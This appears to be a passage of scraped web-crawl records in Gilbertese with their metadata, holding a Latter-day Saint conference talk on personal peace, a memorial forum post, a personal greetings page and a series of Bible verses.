uotakinakoaki te rau mai aon te aba.11 E tuai kabureaki moa te itoi ni ngaina ao ni karaoa mwaakana i aon te aonaba aei.12\nAia tangira ae itiaki aomata aika raoiroi n tabo nako e a tia ao e na reke n aki toki ibukin te raoi i aon te aonaba. Ti aki riai n taenikai ni karerekean te kouru aio. Ma, e reirei Beretitenti Iotebwa F. Timiti, \"E aki kona n roko nakon te aonaba tamnein te raoi ao te tangira … ni karokoa e karekea te aomata ana koaua te Atua ao ana rongorongo te Atua … ao ni butimwaea mwaakana ao ana tautaeka are e mimitong.\"13\nTi korakora ni kakantaninga ao n tataro ni karekean te raoi n te aonaba, ma e tiku i nanoni baira n tatabemanira ma utu bwa ti karekea te aeka n raoi are te kaniwanga are beritanaki ibukin te itiaki. Te raoi aei bon te bwaintangira are beritanaki n ana mition te Tia Kamaiu ma ana karea ni kamaiu\nTe reirei aei e kimototo taekinana n Doctrine and Covenants are taku bwa ti riai n ataia bwa naake a karaoi mwakuri aika itiaki a na karekea kaniwangaia te raoi n te aonaba aio ao te maiu are akea tokina n te aonaba ae e na roko.14\nBeretitenti John Taylor e reirei bwa te raoi e aki ti kan tangiraki, ma \"bon te bwaintangira mai iroun te Atua.\"15\nTe raoi are I kananona tiaki ti te raoi ae aki teimatoa. Bon te kukurei ae korakora ao te rauaki n tamnei.16\nBeretitenti Heber J. Grant e kabwarabwara ana raoi te Uea n te aro aei. E na kabebetea ara kaangaanga Ana raoi, e anga te karaunano ao te kabebetennano nakoiia ake a rootaki n rabwataia ao n tamneiia, e kanakoi namakin ni kairiribai, e karikia i nanora tangiraia raora are e na kanoai rabwatara n te raoi ao te kimwareirei.\"17 Ni kaaitiboou ma ana karo Emilie, I nooria bwa ana raoi te Uea e a tia ni kabebetea aia kaangaanga ao e ibuobuoki ni kabaei nanoia ake a uruaki. E kakawaki bwa bon i mwin naba te kakati, e taekin kabwarabure te Tari Parker nakoiia taan tia tiritiri. N aron Beretitenti Grant ngke e taku, ana raoi te Tia Kamaiu e kona ni \"kamaunai ara kairiribai.\" Bon ana bwai te Uea te Motikitaeka.\nAomata ake a Itiaki n te Ivory Coast, n tain bubuakaia ma abaia, a kunea te raoi ni kamatoan maiuakinan ana euangkerio Iesu Kristo ma ni katuruturu n te kateiutu ao te mwakuri n te tembora ibukia aia bakatibu.18\nTi bane n tangira te raoi. Te raoi tiaki ti te rau ke akean te buaka, te kakeru, te ikaakaiwi, ao te meremere. E reke te raoi man te atatai bwa te Tia Kamaiu e ataira bwa antai ngaira, ao e ataia bwa ti Onimakinna, ti Tangiria, ao ni kawakin Ana tua, ao riki ri nanon rawawatan kataakin te maiu ao kabuanibwai aika kananoanga. Ana kaeka te Uea nakon te burabeti Iotebwa Timiti i nanon te Liberty Karabuti e karekea te rau nakoira\n\"Natiu te mwaane, te raoi nakon tamneim; am kairiribai ao karawawatakim a na aki teimaan aroia.\n\"Ao ngkanne, ngkana ko teimatoa raoi iai, e na karietatako te Atua i eta19\nUringnga, \"te Atua bon tiaki te tia karikibwai n ae mangaongao, ma [te tia karika] te raoi.\"20 Irouia ake a katinanikua te Atua, akea irouia te rau. Ti bane n tekateka bwa kauntiran karawa ake a angabwai ibukin te inaaomata n rinerine n te maiu ae riai, n ataakina bwa e na iai te maraki ni mamate ao te kabuanibwai ae aki kona n taekinaki ibukina bwa aomata a kabuakaka te inaaomata n rinerine. Ti ota bwa e kona ni karikira bwa aomata ngaira aika a kai rootaki n te un, te minotaki, akean te otanga. Ma ti ataia naba bwa Ana Kamaiu te Tia Kamaiu e na taobarai ao ni kaboomwi ibukin te aki nakoraoi n te maiu ae mamate ao n uota nakoira te raoi. Unimwaane Marion D. Hanks iai i aon te kaintamnei i aon te o te kibuntaeka mai iroun Ugo Betti: \"N onimakinan te Atua bon te atatai bwa tua ni bane a na aki tabeitera, ao bwa e na reke bong ni maiura ake a na aki kantaningaki.21\nBaikara baike e reke mai iai te raoi? A bati aika a ukera te raoi n te maiu n aonteaba are, e aki kona n reke ao n aki kona n nakoraoi. E aki kuneaki te raoi ni karekean te kaubwai ae bati, te mwaaka, ke te tanoata.22 E aki kuneaki te raoi rinanon ukeukerakin te kukurei, ke n te kamataku, ke n te takaakaro. Akea man aikai ae kona, e ngae ni karekean ae takaburinako, ni karekea te kukurei ke te raoi ae teimatoa.\nN taekan te kuna n taromauri are mamaten nanon Emma Lou Thayne e titiraki n te titiraki ae riai: \"N na rairaki nakea ni kakaaean te raoi? E nga rau ngkana a toki bwai tabeua ake a kabwanina rabwatau?\"23 Te kaeka bon te Tia Kamaiu, are ngaia bukin bwai ao te tia karika te raoi. Ngaia Uean te Raoi.\"24\nTi na kanga ni kaania te Tia Kamaiu? Kamangorakira iroura i matan te Atua, te tataro ni katoatai, te rairannano man taian bure, te rinnako n ranin te bwabetito ma te nanomaraki ao te tamnei ae raraoma, ao n riki bwa ana reirei Iesu Kristo bon kakairi aika nano n te itiaki ake a kaniwanganaki n te rau ae teimatoa.25 I mwin ngke e a tia n anga ana rongorongo ae katekenano te Uea ae Beniamina n taekan Ana Mwakuri ni Kamaiu Kristo, a bwaka nako aontano te koraki are uanano. E ruonia Tamnein te Uea, ao a kaonaki n te kimwareirei, e reke kabwaraan aia bure, ao a karekea raoin ataakin te raoiroi ao te buakaka, ibukin te onimaki ae rang ni korakora are e reke irouia iroun Iesu Kristo.\"26 Te rairannano ao maiuakinan te raoiroi e karekea te raunnano, are e kakaawaki ibukin te kukurei.27 Ngkana iai te bure ae korakora, te kaotibure e kakaawaki ibukin karekean te rau.28 Tao bon akea kabotauan te rau are e roko man kawenean rawawatana imatan te Uea ni karekei kakabwaia man te Mwakuri ni Kamaiu. N aron teuana anenen te Ekaretia ae I tatangiria are e koreia, \"N na kaaki uotau i waena man anene.\"29\nE kimwareirei nanou ngke I a ota bwa n ara bong bwi ni nga ataenimwaane, ataeinaine ao mitinare ikawai a butimwaea te wewete n riki bwa ana tia uarongorongo ara Uea ao ara Tia Kamaiu, Iesu Kristo. A uota te euangkerio are e kaokaki n te raoi are kaokaki nakon te aonaba, temanna te aomata ao teuana te utu n te tai teuana—te mwakuri n itiaki n uota te raoi aei nakoiia natin Tamara are i Karawa.\nTe tabo ni katantan n te Ekaretia ike taan tia ririmwin Kristo a karekea te rau iai. A taku kairake tabemwang n te aonaba bwa maiuna te maiu n tamnei ma a aki kaaina te aro. Te namakin n tamnei bon te moani mwaneka ae tamaroa. Ma, bon i nanon te Ekaretia are ti iraorao iai, ti reiakinaki iai, ao ti kaamwarakeaki iai n ana taeka ae raoiroi te Atua. E a kakawaki riki, mwaakan te nakoanibonga n te Ekaretia are e karekei otenanti aika tabu ao tua ake a kabaeia utu ao n tokanikai n tatabemanira n oki rikaaki nakon te Atua te Tama ao Iesu Kristo n te abanuea are te tiretio. E uota te rau otenanti aikai ibukina bwa a irekereke ma berita aika tabu iroun te Uea.\nTembora bon tabo ike a riki iai mwaitin otenanti aika tabu aika ririki naba ao kamanoan te rau man te aonaaba. Naake a kawara ana tabo nako te tembora ke n tai ni kaukuki n tembora i mwaain katabuakina a namakina naba te rau aei. I rang n uringa teuana te karaki ae rang tikiraoi bon te kaukuki ao te katabu nakon te Biti Suva Tembora. Iai te nakobuaka n te tautaeka, ma irouia taan kakaitara n te kabuebue ao urubekean titoa n te tabo ni bobwai i Suva, tauakin te Auti ni Maungatabu ao tauakiia taan tia karaotua bwa bure. E kairaki te aba iroun te taanga ni buaka. Te tanganibuaka mai Biti e angan Ekaretia te kariaia ae kimototo ni bootiia aomata ibukin te kaukuki ao e a karako riki te mwaiti ibukin te katabu. Membwa n te Ekaretia n te taratara a aki kaoaki ibukin kaangaanga ibukin nakoraoia. Ai bon tibwa te katabu n te tembora are e karaoaki man te moan Nauvoo Tembora are e tauaki ni waki ake a rang ni matoa.\nTemanna are kaoaki nakon te kaukuki bon te aine n Hindu n te raraa n Inria ae botonnaine, te membwa ngaia n te Autintei are ngaia te moan tauaki bwa te bure ma e a manga kabwaraaki ibukin bwa te aine ngaia.\nN run te tieretio, akea iai kamangaongaon te aonaba, e tang ngke e kamataatai ana namakin n te raoi are e rang ni kakukureia. E namakina te Tamnei are Raoiroi bwa e karaua nanona ao e kaota ana kakoaua n aron mimitongin te tembora.\nTe Tia Kamaiu bon boton te rau ni koaua. E ngae ma kataitain te maiu, ibukin Ana Kamaiu te Tia Kamaiu ao Ana tituaraoi, te maiu ae itiaki e na kaniwanganaki n te raoi nakon te aomata. N norakin baireakiia aomata n te ru n te Toa are te Riao, e berita te Tia Kamaiu nakoiia Ana Abotoro bwa a na kakabwaiaaki iroun te \"Tia Ibuobuoki, are te Tamnei are Raoroi\" ao ngkanne e mwanewei taeka aikai ake a kakawaki: \"I katuka te rau iroumi, I anganingkami au rau: I aki anganingkami n ai aron te aba ngkana e anga.\"30 Ngkanne bon i mwaain naba Ana tataro ibukiia ana reirei ma te Atua: \"I atong baikai nakoimi, bwa kam na karekea te rau mai Irou. Ami bwai i aon te aba te rawawata: ma kam na kabebetei nanomi; I a tia ni kataea ana kai te aba.\"31\nE katamaroai korobokian te iango aei Eliza R. Snow.\nTabekirake nanomi n nebo nakon te Atua;\nA na aki toki kimwareireimi.\nE ngae ngke karawawata a maenako ni kabane te aonaba,\nE taku Iesu, (Kam na kunea te rau irou).32\nI kakoauai aikai n aran Iesu Kristo, amen.","id":"","dump":"CC-MAIN-2017-22","url":"https:\/\/www.lds.org\/general-conference\/2013\/04\/personal-peace-the-reward-of-righteousness?lang=gil","date":"2017-05-29T20:08:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463612537.91\/warc\/CC-MAIN-20170529184559-20170529204559-00474.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2678,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nUearaa n rokona i Rabi during the Aintoa Tour....with Tiito and Tekonaba ba ana nako n nora te aroka ae te nangkona....Bye Uearaa..\nvery sad indeed may you rest in peace Ueara..god bless you n am boraunako!!\nAi bon aron te maiu aei te aoraki ke itera tabeua riki..... bon tokira tina manga okira tanora ke kanga Maruana......","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/banabanvoice.ning.com\/forum\/topics\/tributes-to-a-well-known-i-kiribati-comedian-uearaa-tiritioo?page=1&commentId=2211587%3AComment%3A136081&x=1","date":"2017-05-25T16:05:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463608107.28\/warc\/CC-MAIN-20170525155936-20170525175936-00032.warc.gz","language":"gil","language_score":0.9915031791,"language_script":"Latn","minhash_cluster_size":43,"top_langs":"{\"gil_Latn_score\": 0.9915031790733337}","num_words":66,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":0.988,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 2:1111B'a Iesu ni botaki ma ake a riki n tabu maiuia i Rouna b'a ana b'ai te Atua a bane n nako man te oi ae ti teuana. Ma ngaia ae E aki mamaa n atongiia b'a tarina, Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/11","date":"2017-05-25T12:48:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463608067.23\/warc\/CC-MAIN-20170525121448-20170525141448-00582.warc.gz","language":"gil","language_score":0.9998548031,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9998548030853271}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.272,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri, ngkee ma am koraki nikabane iaon am tabo ae biti.ae bon au taeka ni katekeraoi nakoim ma am utu nikabane.e rabwa te Uea nte marurung ao te maiu.ko anga naba au kamauri nakon tamam ae maan raurenako ma ngaia i taku bwa e bon marurung raoi naiarou ikai kee.tao tia manga boo moa ao ia manga ongora mai iroum,\nE rabwa riki kee ao e koaua Jnr Aukitino ngkai e a form 4 ngkai n ST Louis ke ao arora ti boni bane ni marurung kee ao kam mena ia ngkai ao angaa ami karo akanne ao a mena iaa ngkai ao enga Kiebu ma buuna a mena iaa ao David ma tariu are i tatangiria Mr Biara te fafando .Eh eh Ko a karokoa riki au kamauri nakoia Burenimone ma Alofa ao tibuia ni kabane kee ao ai bon nakoia kain abami ngkami Kitarete,Kiebu ao David ao ai Biara te foto ke\ne tau e rabwa iki te tai aei ao are ti a rereitaki kee\nE rabwa anne ao n te tai aei ao ngkai i mwakuri n te Ministry of Commerce Industry and Cooperative.Eng ngkai ao iein ma ainen Arorae ma Abemama kee\nAkea rabatana ngkai ba e tour nako Xmas island kee.Raou ikai Banian ao ti nanako ni moi nangkona iroun Nei Joice are buun Chris kee are e kabuta te Tarawa Motors.\nKitarite i bon aki kona ni maninga taekami kee e ngae ngke kam a kitana Kiribati ao nonou e aki kona ni maninga taekami ba are i taku ngaia ba bon raomi naba ngai irouia ami karo kee, eng i aki kona ni maninga kee. Ao ngkoe koa tia ni iein ao kain iaa buum ao iai natimi ao iraman kee ao ko mmakuri ngkai iaa .Nei Kiebu e a tia naba ni iein kee ao kain iaa buuna ao e makuri naga iaa ao ai aron naba mwanemi are David ma Biara .E atia ni iein David kee ao iai natiia ao kain iaa buuna n reitaki ma tariu anne Biara te ngoro e a ngaa ngkai au kantaninga ba e a reke naba toaana kee. Ao ngke e rabwa riki anne Kitarite ao bon au kanmauri riki nakoia kaara akanne n reitaki ma kain ami utu ni kabane . Ngkai kam mena iaa eng i roko ikanne 2000 ao ikakai ngkami ma kam aki reke kee eng tao bon te babaire moa kee ma are e aki babane te tai kee ba n reken te roko ikanne ao nna boni kaki riki ngkami kee. E rabwa moa ao ko ururinga au kamauri kee.\nE rabwa ba ngaia e teimatoa te marurung .Ao a uara moa am karo akanne Burenimone ma Alofa ko a ngania naba au kamauri n reitaki ma tarim ao manem ao ai kain ami auti ni kabane. Ngkana iai ami emailaddress ngkoe ma Kiebu ao koa taiaoka ni kanakoa nakon au address aei firstname.lastname@example.org ibukin rereitakira imwina. Ko rabwa moa\nNEIKO MAURI GKAMI MAI IKANNE AO NEIKO TE BUBUTI MAI IKAI BWA KOATA ANA EMAIL ADD NEI TABINE EA MAGA IAI MOA TE KAGAGA. GKANA KOA SIGN IN AO EA MAGA IAI GKANNE TE KAGAGA NEIKO MA KOA MAGA KARAOIA MAI IKANNE AO KAO MAGA KAOGOAI GKANNE BWA E BON UKI MAI IMAINA AO GKAI EA MAGA AKI UKI NEIKO MA SAAKI ATAA GKANNE TE KAGAGA MA KOA MAGA BON CHECK MAI IKANNE E UARA ANNE??\nE TAU TEKKERAOI GKAMI NI KABNE AO TE KAMAURI MAI BANABA AE MAITORO KER\nNEIKO MAURI GKEE MAI IKANEE ..E UARA AGIN RABI NEIKO??....GAIRA MAI IKAI TI NAG MARURUNG RAOI N REITAKI MA AM KORAKI AIKAI MA KOA NOORA ANA BAI TABINE IKAI,BWA AE EA MEMBER N TE BANABAN VOICE ,MA KOA BON TUANGNGA NGKANNE AM ROGO2 KEE,NEIKO AO IBUKIN NEI AUNTY SEATA TIASA N OGO AE EA SA NI MATE .EA KAAWA BWA EA MATE AO I TUAI MAN NOORA MATANA,TAO BON TE BABAIRE KEE,MA TARAIA TABINE AE EA RIN IKAI MA KOA BON KAKARAKI MA GAIA KEE,,,OK","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/banabanvoice.ning.com\/profile\/kitariteburenimonebiara","date":"2017-06-28T01:52:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128322275.28\/warc\/CC-MAIN-20170628014207-20170628034207-00214.warc.gz","language":"gil","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"gil_Latn_score\": 0.9999982118606567}","num_words":665,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 1:2020ao bon nanona naba b'a E na raoiakini b'aai ni kabane nako Ina i Rouna, aika i aon te aba ma ake i karawa; ao E karaoa aei ni maten Natina i aon te kaibangaki. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1\/20","date":"2017-06-29T16:23:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128329372.0\/warc\/CC-MAIN-20170629154125-20170629174125-00386.warc.gz","language":"gil","language_score":0.9999625683,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 0.999962568283081}","num_words":51,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 3:1313Ma kam na i kaungaingkami n te bong ae koraki, ngkae e atongaki b'a Te bong aei; b'a e kawa temanna i buakomi ni m'am'anaki n te bure ao e riki ni matoatoa iai nanona. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3\/13","date":"2017-06-25T12:25:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320491.13\/warc\/CC-MAIN-20170625115717-20170625135717-00495.warc.gz","language":"gil","language_score":0.9999835491,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.999983549118042}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 2:2525Ao tiaki b'a ai aron naba Nei Raba are te kabekaau? E reke reitakina ma te Atua n ana m'akuri, ngke e akoia taan tutuo akekei, ao e kanakoia n te kawai teaina. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/2\/25","date":"2017-06-26T09:56:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320695.49\/warc\/CC-MAIN-20170626083037-20170626103037-00170.warc.gz","language":"gil","language_score":0.9994770885,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9994770884513855}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:2121A ata te Atua, ma a aki anganna neboana ngkai te Atua Ngaia, ao a aki kaitaua; ma a riki aia iango b'a baika akea bonganaia, ao a karooaki nanoia aika aki wanawana. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/21","date":"2017-06-25T04:08:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320395.62\/warc\/CC-MAIN-20170625032210-20170625052210-00547.warc.gz","language":"gil","language_score":0.9998881817,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9998881816864014}","num_words":49,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 BETERO 3:44ma katamaroaami ae riai, bon te aomata ae raba ae b'ain te nano, ae katamaroaami ae aki kona ni mka, ae te nano ae nimamannei ae rau, ae kakawaki i matan te Atua. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/3\/4","date":"2017-07-26T15:11:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549426169.17\/warc\/CC-MAIN-20170726142211-20170726162211-00366.warc.gz","language":"gil","language_score":0.9999731779,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999731779098511}","num_words":49,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:1818B'a e kaotaki unin te Atua mai karawa nakoia aomata ake a tia ni kakaraoa te bure, ma te aro n iowawa; ao i bukin aroia aika bubuaka n tukiia aomata man atan te koaua. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/18","date":"2017-07-23T09:16:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549424296.90\/warc\/CC-MAIN-20170723082652-20170723102652-00523.warc.gz","language":"gil","language_score":1.0,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0}","num_words":51,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IOANE 1:1414E riki n aomata te Taeka, ao E maeka i buakora. E on n te akoi ma te koaua, ao ti nora mimitongina, are mimitongina n arona b'a ti Ngaia Natin te Atua. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.bible.is\/GILBSP\/John\/1\/14","date":"2017-07-22T03:10:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549423842.79\/warc\/CC-MAIN-20170722022441-20170722042441-00430.warc.gz","language":"gil","language_score":0.9999247789,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999247789382935}","num_words":49,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:66B'a ngkana tao I bangab'ai n te aro n taetae, ma I aki n te ataib'ai, ti a tia n aaro nako ao ni b'aai ni kabane ni kaoti arora aikai nako imi. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/6","date":"2017-07-26T13:36:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549426161.99\/warc\/CC-MAIN-20170726122153-20170726142153-00299.warc.gz","language":"gil","language_score":0.9999811649,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.999981164932251}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.275,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3030B'a aron te baere e karaoia Iona ngke e riki b'a te kanikina nakoia I-Ninewe, ao ai aron naba are E karaoia Natin te Aomata, e na riki b'a te kanikina nakoia te roro aei. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/30","date":"2017-07-26T03:07:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549425751.38\/warc\/CC-MAIN-20170726022311-20170726042311-00023.warc.gz","language":"gil","language_score":0.9994425178,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9994425177574158}","num_words":51,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.235,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15I bukin aei ngkanne, ao Kristo boni Ngaia ae buoka reken te boraraoi ae boou, are a kona iai te koraki ake a weteaki iroun te Atua ni kab'aib'aiaki n te kab'aia ae akea tokina, are E a tia te Atua n taekinna n ana taeka n akoi. E kona ni karaoaki aei i bukina b'a iai te mate are kainaomataia aomata man taiani bure ake a karaoi ngke bon iai te moa ni boraraoi.\nEBERA 9:15\nFREE!\nOne App.\n1245 Languages.","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/15","date":"2017-07-26T06:55:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549426050.2\/warc\/CC-MAIN-20170726062224-20170726082224-00683.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":80,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:33Ma I maaku b'a a kawa n anaaki nanomi, n ai aron Nei Ewa ngke e m'am'anaki n nanowanawanan te naeta, ao kam kitana aromi n reitaki ma Kristo ae nako raoi ma n itiaki. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/3","date":"2017-07-21T17:24:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549423787.24\/warc\/CC-MAIN-20170721162430-20170721182430-00296.warc.gz","language":"gil","language_score":0.9998420477,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9998420476913452}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E roko naba B'auro i Rerebe ao i Rutetera; ao noria, e mena iai te aomata ae onimakina Iesu, ae arana Timoteo; tinana bon te I-Iutaia ae onimakina naba Iesu, ao tamana te I-Erene. 2E kamoamoaki Timoteo irouia taari ake a mena i Rutetera ao i Ikonio. 3E tangiria B'auro b'a e na kairiia b'a raona, ma ngaia are e korotabonim'aneia. E karaoa aei B'auro i bukina b'a a bane n ataia I-Iutaia ake a maeka n taabo akekei b'a te I-Erene taman Timoteo. 4Ao ngke a kabuta kaawa nako uakekei, ao a anganiia ekaretia taeka ake a motikaki irouia taan tuatua ma unimm'aane ake a mena i Ierutarem b'a a na tauu. 5Ma ngaia are, a kakorakoraki ekaretia nakon te onimaki, ao a kabatiaki kaaia n te bong ae koraki. 6Ao a m'ananga n ri nukan te aba are Berukia ma Karatia, ngke a tukaki iroun te Tamnei are Raoiroi b'a a na aki taekina ana taeka te Atua i Atia; 7ao ngke a kaania Mutia, ao a kataa te nako Bitunia, ma E tukiia Tamnein Iesu; 8ao a ri rarikini Mutia, ao a wairio nako Teroa. 9E nora kaanga te mii B'auro e bong: e tei te aomata temanna ae te I-M'aketonia ni butiia, ao e kaangai, \"Nako mai nako M'aketonia ni buokira!\" 10Ao ngke e a tia n nora kaanga te mii arei, ao ti a kataa naba ngkekei te nako M'aketonia, b'a ti taku b'a E boni weteira te Atua b'a ti na tataekina te euangkerio nakoia aomata ikekei. 11Ti borau mai Teroa, ao ti kaeta kawaira n nako Tamoterake; ao n te bong are i mwina, ao ti a manga borau nako Neabori; 12ao maikekei nako Biribi, ae kawani moani m'akoroni M'aketonia, bon ana korone Rom. Ti tiku iai tabe bong. 13N te Taabati ao ti oti nako mani mataroan te kawai n rin n te kaawa arei nako rarikin te karaanga teuana are ti taku b'a e mena iai te ne n tataro; ao ti tekateka n taetae nakoia aine ake a roko ni botaki iai. 14E ongora iroura te aine temanna ae arana Nei Ruria, ae te I-Tuateira, ae te tia kaboa nako te kunnikai ae uraro. E tataromauria te Atua, ao E kauka nanona te UEA b'a e na butim'aai baike e taekini B'auro. 15E b'abetitoaki ma kaain ana auti, ao e butiira, ni kaangai, \"Ngkai kam a tia n taku b'a te tia onimakina te UEA ngai ni koaua, ao kam na rin n tiku n au auti.\" Ao e kairoroira. 16Ngke ti nako n te ne n tataro, ao ti kaitibo ma te ateiaine ae kaboaki b'a te toro. E taniaki iroun tamneini Buton, ao e karekei ni kabatiai aia b'ai ana toka man arona 